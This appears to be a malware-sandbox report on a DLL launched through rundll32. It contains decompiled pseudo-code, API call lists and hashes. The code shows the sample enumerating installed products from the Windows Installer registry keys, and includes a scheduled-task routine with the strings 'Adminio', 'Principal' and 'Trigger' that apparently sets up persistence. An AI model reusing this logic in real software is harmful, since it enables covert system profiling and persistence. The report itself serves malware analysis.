Uniqueness Score: -1.00%

Function 000007FEF4724F10 Relevance: 1.5, APIs: 1, Instructions: 14
registryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF4724F10(void* __rcx) {

				if ( *((intOrPtr*)(__rcx + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4724f30; // executed
				RegCloseKey(??); // executed
				return E000007FE7FEF4741974(__rcx);
			}

0x7fef4724f28
0x7fef4724f2a
0x7fef4724f40

APIs

RegCloseKey.KERNEL32 ref: 000007FEF4724F2A

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: be0fe3cf72d4eeb7d92920052af90c29b1ef9fba0a553546d5a639f9472dc8a3
Instruction ID: a442abdd9b887693269e7be4912ecdc8cbddb6f13479962b764eb98f0148f428
Opcode Fuzzy Hash: be0fe3cf72d4eeb7d92920052af90c29b1ef9fba0a553546d5a639f9472dc8a3
Instruction Fuzzy Hash: 81D0A920F1E28AC0EE40AB96E444A781391E78AB99F1C0131CD2E063F5CE2DE5C78700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4741930 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF4741930(void* __eflags, void* __rax) {
				signed int _t1;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t11;
				void* _t12;

				_t1 = E000007FE7FEF4741824(__rax, _t8, _t9, _t10, _t11, _t12); // executed
				asm("sbb eax, eax");
				return  ~_t1 - 1;
			}

0x7fef4741934
0x7fef474193c
0x7fef4741946

APIs

_onexit.LIBCMT ref: 000007FEF4741934

Part of subcall function 000007FEF4741824: DecodePointer.KERNEL32(?,?,?,000007FEF4741939,?,?,?,?,000007FEF474674A,?,?,?,000007FEF4743E59), ref: 000007FEF474184D
Part of subcall function 000007FEF4741824: DecodePointer.KERNEL32(?,?,?,000007FEF4741939,?,?,?,?,000007FEF474674A,?,?,?,000007FEF4743E59), ref: 000007FEF474185D
Part of subcall function 000007FEF4741824: _realloc_crt.LIBCMT ref: 000007FEF47418AA
Part of subcall function 000007FEF4741824: _realloc_crt.LIBCMT ref: 000007FEF47418C6
Part of subcall function 000007FEF4741824: EncodePointer.KERNEL32(?,?,?,000007FEF4741939,?,?,?,?,000007FEF474674A,?,?,?,000007FEF4743E59), ref: 000007FEF47418DB
Part of subcall function 000007FEF4741824: EncodePointer.KERNEL32(?,?,?,000007FEF4741939,?,?,?,?,000007FEF474674A,?,?,?,000007FEF4743E59), ref: 000007FEF47418EB
Part of subcall function 000007FEF4741824: EncodePointer.KERNEL32(?,?,?,000007FEF4741939,?,?,?,?,000007FEF474674A,?,?,?,000007FEF4743E59), ref: 000007FEF47418F8

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Pointer$Encode$Decode_realloc_crt$_onexit
String ID:
API String ID: 4258286195-0
Opcode ID: eebfc97d2319c228c1f0daf86c69fe600789556a883ffa792ff9f908f418d4a0
Instruction ID: b858a5aadbf8e97709cc30a817584b4d6479db313df35fa64b906b004e5caed0
Opcode Fuzzy Hash: eebfc97d2319c228c1f0daf86c69fe600789556a883ffa792ff9f908f418d4a0
Instruction Fuzzy Hash: D3A01100EBB00FC0EA0832BAC88A8B000C083A8330FC00AA2800CC02A2C80C00EA0A20

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF4738F50 Relevance: 81.5, APIs: 40, Strings: 6, Instructions: 953memorycomCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 000007FEF4738FA3
CoCreateInstance.OLE32 ref: 000007FEF4738FD4
VariantInit.OLEAUT32 ref: 000007FEF4738FDE
VariantInit.OLEAUT32 ref: 000007FEF4738FFB
VariantInit.OLEAUT32 ref: 000007FEF473901E
VariantInit.OLEAUT32 ref: 000007FEF4739041
VariantClear.OLEAUT32 ref: 000007FEF4739090
VariantClear.OLEAUT32 ref: 000007FEF473909B
VariantClear.OLEAUT32 ref: 000007FEF47390A6
VariantClear.OLEAUT32 ref: 000007FEF47390B1

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

SysAllocString.OLEAUT32 ref: 000007FEF47390F0
SysFreeString.OLEAUT32 ref: 000007FEF473914D
SysAllocString.OLEAUT32 ref: 000007FEF473919E
SysFreeString.OLEAUT32 ref: 000007FEF47391F8
SysAllocString.OLEAUT32 ref: 000007FEF4739292
SysFreeString.OLEAUT32 ref: 000007FEF47392E1
CoUninitialize.OLE32 ref: 000007FEF473934A

Part of subcall function 000007FEF4741BDC: _callnewh.LIBCMT ref: 000007FEF4741BEA
Part of subcall function 000007FEF4741BDC: _CxxThrowException.LIBCMT ref: 000007FEF4741C3F

SysAllocString.OLEAUT32 ref: 000007FEF47393A8
SysFreeString.OLEAUT32 ref: 000007FEF47393FA
SysAllocString.OLEAUT32 ref: 000007FEF47394A5
SysFreeString.OLEAUT32 ref: 000007FEF47394FC
CoUninitialize.OLE32 ref: 000007FEF4739558
SysFreeString.OLEAUT32 ref: 000007FEF473966E
_time64.LIBCMT ref: 000007FEF4739693
wcsftime.LIBCMT ref: 000007FEF47396D2
_com_util::ConvertStringToBSTR.COMSUPP ref: 000007FEF4739709
SysFreeString.OLEAUT32 ref: 000007FEF4739749
SysFreeString.OLEAUT32 ref: 000007FEF473981E
GetWindowsDirectoryW.KERNEL32 ref: 000007FEF47398D9
SysFreeString.OLEAUT32 ref: 000007FEF4739A78
SysFreeString.OLEAUT32 ref: 000007FEF4739BAA
CoUninitialize.OLE32 ref: 000007FEF4739BFD
SysAllocString.OLEAUT32 ref: 000007FEF4739CDE
VariantInit.OLEAUT32 ref: 000007FEF4739D14
VariantInit.OLEAUT32 ref: 000007FEF4739D37
SysFreeString.OLEAUT32 ref: 000007FEF4739DDE
VariantClear.OLEAUT32 ref: 000007FEF4739E0A
VariantClear.OLEAUT32 ref: 000007FEF4739E15
VariantClear.OLEAUT32 ref: 000007FEF4739E20
CoUninitialize.OLE32 ref: 000007FEF4739E4D

Strings

PT3M, xrefs: 000007FEF47397CF
Principal, xrefs: 000007FEF47393A1
Adminio, xrefs: 000007FEF473928B
Trigger, xrefs: 000007FEF4739621
PT0S, xrefs: 000007FEF473949E
%Y-%m-%dT%X, xrefs: 000007FEF47396BF

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: String$Variant$Free$Clear$AllocInit$Uninitialize$ConvertCreateDirectoryExceptionInitializeInstanceThrowWindows_callnewh_com_util::_time64mallocwcsftime
String ID: %Y-%m-%dT%X$Adminio$PT0S$PT3M$Principal$Trigger
API String ID: 3050162195-4056345779
Opcode ID: 26cb9e4adbc83a2720542d7cb65d622d1d55447286d753a811882b9d185a8554
Instruction ID: d71d98f9b31618f829bd5e423a4fa99d13db4e388baa7c598df8b1e9c9747789
Opcode Fuzzy Hash: 26cb9e4adbc83a2720542d7cb65d622d1d55447286d753a811882b9d185a8554
Instruction Fuzzy Hash: 0AA23B7260AB86C9EBA59F35D894BFC33A0FB44B88F444125CA5E4BBA9DF39D554C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4724FF0 Relevance: 34.0, APIs: 6, Strings: 13, Instructions: 786
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E000007FE7FEF4724FF0(void* __ebx, long long __rbx, long long __rcx, signed int __rdx, void* __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed char _t318;
				signed char _t338;
				signed char _t359;
				void* _t442;
				signed int _t444;
				signed char _t448;
				signed int _t449;
				void* _t450;
				void* _t451;
				void* _t452;
				void* _t464;
				void* _t467;
				signed long long _t529;
				signed int _t531;
				long long _t532;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				intOrPtr* _t538;
				signed int _t541;
				signed int _t542;
				signed int _t543;
				signed long long _t544;
				signed long long _t545;
				signed int _t557;
				long long _t558;
				intOrPtr* _t561;
				signed int* _t564;
				signed long long _t565;
				void* _t671;
				void* _t685;
				long long _t717;
				signed short* _t718;
				intOrPtr* _t721;
				intOrPtr* _t724;
				void* _t725;
				signed long long _t726;
				void* _t728;
				intOrPtr _t743;
				signed long long _t746;
				signed long long _t747;
				signed long long _t748;
				signed long long _t749;
				signed long long _t750;
				signed long long _t751;
				signed short _t758;
				signed int _t759;
				signed long long _t760;
				signed long long _t761;
				signed long long _t762;
				signed long long _t763;
				signed long long _t765;
				signed int* _t767;
				signed long long _t768;

				_t728 = __r8;
				_t556 = __rbx;
				_t442 = __ebx;
				_t724 = _t725 - 0x330;
				_t726 = _t725 - 0x430;
				 *((long long*)(_t724 + 0x90)) = 0xfffffffe;
				 *((long long*)(_t726 + 0x480)) = __rbx;
				_t529 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t724 + 0x320) = _t529 ^ _t726;
				_t717 = __rdx;
				 *((long long*)(_t724 - 0x38)) = __rdx;
				 *((long long*)(_t724 - 0x28)) = __rcx;
				r14d = 0;
				r12d = r14d;
				 *(_t726 + 0x78) = r14d;
				if (__rcx != 0) goto 0xf4725055;
				_t531 = __rdx;
				goto 0xf4725de4;
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t761;
				 *((intOrPtr*)(_t726 + 0x30)) = r14w;
				r8d = 0x3c;
				E000007FE7FEF4728E10(__rbx, _t726 + 0x30, L"Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", __rcx, __r8);
				_t318 =  *0xf477b25c; // 0x1
				if ((_t318 & 0x00000001) != 0) goto 0xf47250c1;
				 *0xf477b25c = _t318 | 0x00000001;
				 *0xf477b260 = _t531;
				 *0xf477b268 = _t531;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = r14d;
				E000007FE7FEF4741930(_t318 & 0x00000001, _t531);
				E000007FE7FEF4732580(_t556, 0xf477b260, _t726 + 0x30, __rcx);
				_t557 = _t531;
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t761;
				 *((intOrPtr*)(_t726 + 0x30)) = r14w;
				r8d = 0x3c;
				E000007FE7FEF4728E10(_t557, _t726 + 0x30, L"Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", __rcx, __r8);
				_t448 =  *0xf477b25c; // 0x1
				if ((_t448 & 0x00000001) != 0) goto 0xf4725142;
				_t449 = _t448 | 0x00000001;
				 *0xf477b25c = _t449;
				 *0xf477b260 = _t531;
				 *0xf477b268 = _t531;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = r14d;
				E000007FE7FEF4741930(_t448 & 0x00000001, _t531);
				E000007FE7FEF47324A0(_t557, 0xf477b260, _t726 + 0x30, __rcx);
				if (_t557 != 0) goto 0xf4725165;
				if (_t531 != 0) goto 0xf4725165;
				_t532 = _t717;
				goto 0xf4725de4;
				 *(_t724 + 0x20) = _t557;
				 *((long long*)(_t724 + 0x28)) = _t532;
				r15d = r14d;
				 *(_t726 + 0x70) = r14d;
				 *(_t724 - 0x30) = _t761;
				_t558 =  *((intOrPtr*)(_t724 + 0x20 + _t761 * 8));
				 *((long long*)(_t724 - 0x40)) = _t558;
				if (_t558 == 0) goto 0xf4725dc7;
				 *((long long*)(_t724 + 0x268)) = _t532;
				 *((long long*)(_t724 + 0x270)) = _t532;
				 *((long long*)(_t724 + 0x278)) = _t532;
				E000007FE7FEF4732840(_t558, __rcx, _t724 + 0x268);
				_t718 =  *((intOrPtr*)(_t724 + 0x268));
				if (_t718 ==  *((intOrPtr*)(_t724 + 0x270))) goto 0xf4725d9b;
				 *((long long*)(_t724 + 0x238)) = _t532;
				 *((long long*)(_t724 + 0x240)) = _t532;
				 *((long long*)(_t724 + 0x248)) = _t532;
				E000007FE7FEF4732840(_t558, _t558, _t724 + 0x238);
				r13b = 0;
				_t721 =  *((intOrPtr*)(_t724 + 0x238));
				if (_t721 ==  *((intOrPtr*)(_t724 + 0x240))) goto 0xf4725d6d;
				_t743 =  *((intOrPtr*)(_t721 + 0x10));
				if ( *((long long*)(_t721 + 0x18)) - 8 < 0) goto 0xf472521e;
				goto 0xf4725221;
				r8d = 8;
				_t729 =  <  ? _t743 : _t728;
				if (( <  ? _t743 : _t728) == 0) goto 0xf4725270;
				asm("o16 nop [eax+eax]");
				_t464 =  *_t721 - (L"S-1-5-18" & 0x0000ffff);
				if (_t464 != 0) goto 0xf4725257;
				if (_t464 != 0) goto 0xf4725240;
				goto 0xf4725270;
				r8d = 1;
				r8d =  <  ? _t442 : r8d;
				r14d = 0;
				goto 0xf472527a;
				r14d = 0;
				r8d = r14d;
				if (r8d != 0) goto 0xf472528e;
				_t467 = _t743 - 8;
				if (_t467 < 0) goto 0xf4725296;
				if ((r14d & 0xffffff00 | _t467 != 0x00000000) == 0) goto 0xf4725d57;
				 *((long long*)(_t724 - 8)) = 7;
				 *(_t724 - 0x10) = _t761;
				 *((intOrPtr*)(_t724 - 0x20)) = r14w;
				r8d = 0x3d;
				E000007FE7FEF4728E10(0xffffffffffffffff, _t724 - 0x20, L"Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\", _t721, ( <  ? _t743 : _t728) - 1);
				r8d = r8d ^ r8d;
				E000007FE7FEF4728190(0xffffffffffffffff, _t724 - 0x20, _t721, _t718, _t721, _t724, ( <  ? _t743 : _t728) - 1, 0xffffffffffffffff);
				r8d = 9;
				E000007FE7FEF47282D0(0xffffffffffffffff, r8d, L"\\Products", _t718, _t721, ( <  ? _t743 : _t728) - 1);
				 *((long long*)(_t724 - 0x48)) = 7;
				 *(_t724 - 0x50) = _t761;
				 *((intOrPtr*)(_t724 - 0x60)) = r14w;
				r8d = 0;
				E000007FE7FEF4728440(0xffffffffffffffff, _t724 - 0x60, r8d, _t721, _t724, ( <  ? _t743 : _t728) - 1, 0xffffffffffffffff);
				_t534 = _t724 - 0x60;
				 *(_t726 + 0x78) = _t534;
				_t338 =  *0xf477b25c; // 0x1
				if ((_t338 & 0x00000001) != 0) goto 0xf4725353;
				 *0xf477b25c = _t338 | 0x00000001;
				 *0xf477b260 = _t534;
				 *0xf477b268 = _t534;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = r14d;
				E000007FE7FEF4741930(_t338 & 0x00000001, _t534);
				_t671 =  >=  ?  *((void*)(_t724 - 0x60)) : _t724 - 0x60;
				_t535 = _t724 + 0x1d0;
				 *(_t726 + 0x20) = _t535;
				r9d = 0x20019;
				r8d = 0;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) == 0) goto 0xf472539c;
				if ( *((long long*)(_t724 - 0x48)) - 8 < 0) goto 0xf4725397;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 - 0x60)));
				goto 0xf47253da;
				E000007FE7FEF4741BDC(_t535,  *((intOrPtr*)(_t724 - 0x60)));
				_t767 = _t535;
				if (_t535 == 0) goto 0xf47253c7;
				 *_t767 = _t535;
				_t767[2] = _t535;
				_t536 =  *((intOrPtr*)(_t724 + 0x1d0));
				_t767[2] = _t536;
				 *_t767 = r14d;
				goto 0xf47253ca;
				_t768 = _t761;
				if ( *((long long*)(_t724 - 0x48)) - 8 < 0) goto 0xf47253da;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 - 0x60)));
				 *((intOrPtr*)(_t724 - 0x60)) = r14w;
				 *(_t724 - 0x50) = _t761;
				 *((long long*)(_t724 - 0x48)) = 7;
				if ( *((long long*)(_t724 - 8)) - 8 < 0) goto 0xf47253fb;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 - 0x20)));
				 *((long long*)(_t724 - 8)) = 7;
				 *(_t724 - 0x10) = _t761;
				 *((intOrPtr*)(_t724 - 0x20)) = r14w;
				if (_t768 == 0) goto 0xf4725d57;
				 *(_t724 + 0x250) = _t536;
				 *(_t724 + 0x258) = _t536;
				 *(_t724 + 0x260) = _t536;
				E000007FE7FEF4732840(0xffffffffffffffff, _t768, _t724 + 0x250);
				_t561 =  *(_t724 + 0x250);
				_t759 =  *(_t724 + 0x258);
				if (_t561 == _t759) goto 0xf4725d2b;
				_t758 = _t718[8];
				_t762 = _t718[0xc];
				if (_t762 - 8 < 0) goto 0xf472546b;
				goto 0xf472546e;
				_t746 =  *((intOrPtr*)(_t561 + 0x10));
				if ( *((long long*)(_t561 + 0x18)) - 8 < 0) goto 0xf472547e;
				goto 0xf4725481;
				_t538 = _t561;
				_t732 =  <  ? _t746 : _t758;
				goto 0xf47254bd;
				_t444 =  *_t718 & 0x0000ffff;
				if ( *_t538 != _t444) goto 0xf47254a5;
				_t733 = ( <  ? _t746 : _t758) - 1;
				goto 0xf47254bd;
				r8d = 1;
				r8d =  <  ? _t449 : r8d;
				goto 0xf47254c8;
				if ( *((intOrPtr*)(_t538 + 2)) != _t444) goto 0xf4725490;
				r8d = 0;
				if (r8d != 0) goto 0xf47254e1;
				if (_t746 - _t758 >= 0) goto 0xf47254d9;
				goto 0xf47254e1;
				if ((0 | _t746 != _t758) == 0) goto 0xf47254f7;
				if (_t561 + 0x20 != _t759) goto 0xf4725460;
				goto 0xf4725d2b;
				 *((long long*)(_t724 + 0x18)) = 7;
				r14d = 0;
				 *(_t724 + 0x10) = _t762;
				 *_t724 = r14w;
				_t93 = _t762 + 0x3d; // 0x3d
				r8d = _t93;
				E000007FE7FEF4728E10(_t561 + 0x20, _t724, L"Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\", _t721, ( <  ? _t746 : _t758) - 1);
				_t747 = _t746 | 0xffffffff;
				r8d = r8d ^ r8d;
				E000007FE7FEF4728190(_t561 + 0x20, _t724, _t721, _t718, _t721, _t724, ( <  ? _t746 : _t758) - 1, _t747);
				_t94 = _t762 + 0xa; // 0xa
				r8d = _t94;
				E000007FE7FEF47282D0(_t561 + 0x20, r8d, L"\\Products\\", _t718, _t721, ( <  ? _t746 : _t758) - 1);
				_t748 = _t747 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728190(_t561 + 0x20, r8d, _t561 + 0x20, _t718, _t721, _t724, ( <  ? _t746 : _t758) - 1, _t748);
				_t95 = _t762 + 0x12; // 0x12
				r8d = _t95;
				E000007FE7FEF47282D0(_t561 + 0x20, r8d, L"\\InstallProperties", _t718, _t721, ( <  ? _t746 : _t758) - 1);
				 *((long long*)(_t724 - 0x68)) = 7;
				 *(_t724 - 0x70) = _t762;
				 *((intOrPtr*)(_t724 - 0x80)) = r14w;
				_t749 = _t748 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t561 + 0x20, _t724 - 0x80, r8d, _t721, _t724, ( <  ? _t746 : _t758) - 1, _t749);
				_t541 = _t724 - 0x80;
				 *(_t726 + 0x78) = _t541;
				_t359 =  *0xf477b25c; // 0x1
				if ((_t359 & 0x00000001) != 0) goto 0xf47255da;
				 *0xf477b25c = _t359 | 0x00000001;
				 *0xf477b260 = _t541;
				 *0xf477b268 = _t541;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = r14d;
				E000007FE7FEF4741930(_t359 & 0x00000001, _t541);
				_t685 =  >=  ?  *((void*)(_t724 - 0x80)) : _t724 - 0x80;
				_t542 = _t724 + 0x1c8;
				 *(_t726 + 0x20) = _t542;
				r9d = 0x20019;
				r8d = 0;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) == 0) goto 0xf4725623;
				if ( *((long long*)(_t724 - 0x68)) - 8 < 0) goto 0xf472561e;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 - 0x80)));
				goto 0xf4725661;
				E000007FE7FEF4741BDC(_t542,  *((intOrPtr*)(_t724 - 0x80)));
				_t564 = _t542;
				if (_t542 == 0) goto 0xf472564e;
				 *_t564 = _t542;
				_t564[2] = _t542;
				_t543 =  *((intOrPtr*)(_t724 + 0x1c8));
				_t564[2] = _t543;
				 *_t564 = r14d;
				goto 0xf4725651;
				_t565 = _t762;
				if ( *((long long*)(_t724 - 0x68)) - 8 < 0) goto 0xf4725661;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 - 0x80)));
				 *((intOrPtr*)(_t724 - 0x80)) = r14w;
				 *(_t724 - 0x70) = _t762;
				 *((long long*)(_t724 - 0x68)) = 7;
				if ( *((long long*)(_t724 + 0x18)) - 8 < 0) goto 0xf4725682;
				E000007FE7FEF4741974( *_t724);
				 *((long long*)(_t724 + 0x18)) = 7;
				 *(_t724 + 0x10) = _t762;
				 *_t724 = r14w;
				if (_t565 == 0) goto 0xf4725d2b;
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t762;
				 *((intOrPtr*)(_t726 + 0x30)) = r14w;
				r8d = 0xf;
				E000007FE7FEF4728E10(_t565, _t726 + 0x30, L"SystemComponent", _t721, ( <  ? _t746 : _t758) - 1);
				E000007FE7FEF47329C0(_t565, _t724 + 0x2a0, _t726 + 0x30);
				r12d = r12d | 0x00000001;
				 *(_t726 + 0x78) = r12d;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t543 + 0x10)) != _t543) == 0) goto 0xf4725754;
				 *((long long*)(_t726 + 0x68)) = 7;
				 *(_t726 + 0x60) = _t762;
				 *((intOrPtr*)(_t726 + 0x50)) = r14w;
				r8d = 0xf;
				E000007FE7FEF4728E10(_t565, _t726 + 0x50, L"SystemComponent", _t721, _t726 + 0x30);
				E000007FE7FEF47329C0(_t565, _t724 + 0x1f8, _t726 + 0x50);
				r12d = r12d | 0x00000002;
				if ( *((long long*)(_t543 + 0x18)) - 8 < 0) goto 0xf4725742;
				_t544 =  *_t543;
				if (E000007FE7FEF4741E7C(_t544, _t544, _t724 + 0x1f8) != 1) goto 0xf4725754;
				r14b = 0;
				goto 0xf4725757;
				r14b = 1;
				if ((r12b & 0x00000002) == 0) goto 0xf4725792;
				r12d = r12d & 0xfffffffd;
				if ( *((long long*)(_t724 + 0x210)) - 8 < 0) goto 0xf4725777;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x1f8)));
				 *((long long*)(_t724 + 0x210)) = 7;
				 *(_t724 + 0x208) = _t544;
				 *((short*)(_t724 + 0x1f8)) = 0;
				if ((r12b & 0x00000001) == 0) goto 0xf47257b2;
				r12d = r12d & 0xfffffffe;
				if ( *((long long*)(_t724 + 0x2b8)) - 8 < 0) goto 0xf47257b2;
				E000007FE7FEF4741974( *((intOrPtr*)(_t724 + 0x2a0)));
				if (r14b == 0) goto 0xf4725d07;
				 *((long long*)(_t724 + 0x68)) = 7;
				 *(_t724 + 0x60) = _t544;
				 *((short*)(_t724 + 0x50)) = 0;
				_t750 = _t749 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t565, _t724 + 0x50, _t718, _t721, _t724, _t726 + 0x50, _t750);
				_t545 =  *((intOrPtr*)(_t724 - 0x28));
				r8d =  *_t545;
				E000007FE7FEF4732740(_t565, _t545, _t724 + 0x50);
				_t763 = _t545;
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t545;
				 *((short*)(_t726 + 0x30)) = 0;
				_t159 = _t545 + 0xb; // 0xb
				r8d = _t159;
				E000007FE7FEF4728E10(_t565, _t726 + 0x30, L"ProductName", _t721, _t726 + 0x50);
				E000007FE7FEF47329C0(_t763, _t724 + 0x2a0, _t726 + 0x30);
				 *((long long*)(_t726 + 0x68)) = 7;
				 *(_t726 + 0x60) = _t545;
				 *((short*)(_t726 + 0x50)) = 0;
				_t166 = _t545 + 0xb; // 0xb
				r8d = _t166;
				E000007FE7FEF4728E10(_t565, _t726 + 0x50, L"DisplayName", _t721, _t726 + 0x30);
				E000007FE7FEF47329C0(_t565, _t724 + 0x1f8, _t726 + 0x50);
				 *((long long*)(_t724 + 0x1f0)) = 7;
				 *(_t724 + 0x1e8) = _t545;
				 *((short*)(_t724 + 0x1d8)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t565, _t724 + 0x1d8, 0xf476ad38, _t721, _t726 + 0x50);
				_t751 = _t750 | 0xffffffff;
				r8d = 0;
				if ((0 |  *((intOrPtr*)(_t724 + 0x2b0)) != _t545) == 0) goto 0xf47258d2;
				E000007FE7FEF4728440(_t565, _t724 + 0x1d8, _t724 + 0x2a0, _t721, _t724, _t726 + 0x50, _t751);
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t545;
				 *((short*)(_t726 + 0x30)) = 0;
				_t183 = _t545 + 0xe; // 0xe
				r8d = _t183;
				E000007FE7FEF4728E10(_t565, _t726 + 0x30, L"DisplayVersion", _t721, _t726 + 0x50);
				E000007FE7FEF47329C0(_t565, _t724 + 0x2e0, _t726 + 0x30);
				 *((long long*)(_t726 + 0x68)) = 7;
				 *(_t726 + 0x60) = _t545;
				 *((short*)(_t726 + 0x50)) = 0;
				_t190 = _t545 + 0xf; // 0xf
				r8d = _t190;
				E000007FE7FEF4728E10(_t565, _t726 + 0x50, L"InstallLocation", _t721, _t726 + 0x30);
				E000007FE7FEF47329C0(_t565, _t724 + 0x300, _t726 + 0x50);
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t545;
				 *((short*)(_t726 + 0x30)) = 0;
				_t197 = _t545 + 0xb; // 0xb
				r8d = _t197;
				E000007FE7FEF4728E10(_t565, _t726 + 0x30, L"ProductIcon", _t721, _t726 + 0x50);
				E000007FE7FEF47329C0(_t763, _t724 + 0x280, _t726 + 0x30);
				 *((long long*)(_t726 + 0x68)) = 7;
				 *(_t726 + 0x60) = _t545;
				 *((short*)(_t726 + 0x50)) = 0;
				_t204 = _t545 + 0xb; // 0xb
				r8d = _t204;
				E000007FE7FEF4728E10(_t565, _t726 + 0x50, L"DisplayIcon", _t721, _t726 + 0x30);
				E000007FE7FEF47329C0(_t565, _t724 + 0x2c0, _t726 + 0x50);
				 *((long long*)(_t724 + 0x230)) = 7;
				 *(_t724 + 0x228) = _t545;
				 *((short*)(_t724 + 0x218)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t565, _t724 + 0x218, 0xf476ad38, _t721, _t726 + 0x50);
				r8d = 0;
				if ((0 |  *(_t724 + 0x290) != _t545) == 0) goto 0xf4725a31;
				E000007FE7FEF4728440(_t565, _t724 + 0x218, _t724 + 0x280, _t721, _t724, _t726 + 0x50, _t751 | 0xffffffff);
				if ( *(_t724 + 0x1e8) != _t545) goto 0xf4725b79;
				 *(_t726 + 0x78) = _t724 + 0x30;
				 *((long long*)(_t724 + 0xa0)) = _t726 + 0x50;
				 *((long long*)(_t724 + 0x98)) = _t726 + 0x30;
				 *((long long*)(_t724 + 0x48)) = 7;
				r13d = 0;
				 *(_t724 + 0x40) = _t760;
				 *((intOrPtr*)(_t724 + 0x30)) = r13w;
				r8d = 0;
				E000007FE7FEF4728440(_t565, _t724 + 0x30, _t724 + 0x218, _t721, _t724, _t726 + 0x50, _t751 | 0xffffffffffffffff);
				 *((long long*)(_t726 + 0x68)) = 7;
				 *(_t726 + 0x60) = _t760;
				 *((intOrPtr*)(_t726 + 0x50)) = r13w;
				r8d = 0;
				E000007FE7FEF4728440(_t565, _t726 + 0x50, _t724 + 0x300, _t721, _t724, _t726 + 0x50, _t751 | 0xffffffffffffffff);
				 *((long long*)(_t726 + 0x48)) = 7;
				 *(_t726 + 0x40) = _t760;
				 *((intOrPtr*)(_t726 + 0x30)) = r13w;
				r8d = 0;
				E000007FE7FEF4728440(_t565, _t726 + 0x30, _t724 + 0x2e0, _t721, _t724, _t726 + 0x50, _t751 | 0xffffffffffffffff);
				 *((long long*)(_t724 + 0x88)) = 7;
				 *(_t724 + 0x80) = _t760;
				 *((intOrPtr*)(_t724 + 0x70)) = r13w;
				r8d = 0;
				E000007FE7FEF4728440(_t565, _t724 + 0x70, _t724 + 0x1d8, _t721, _t724, _t726 + 0x50, _t751 | 0xffffffffffffffff);
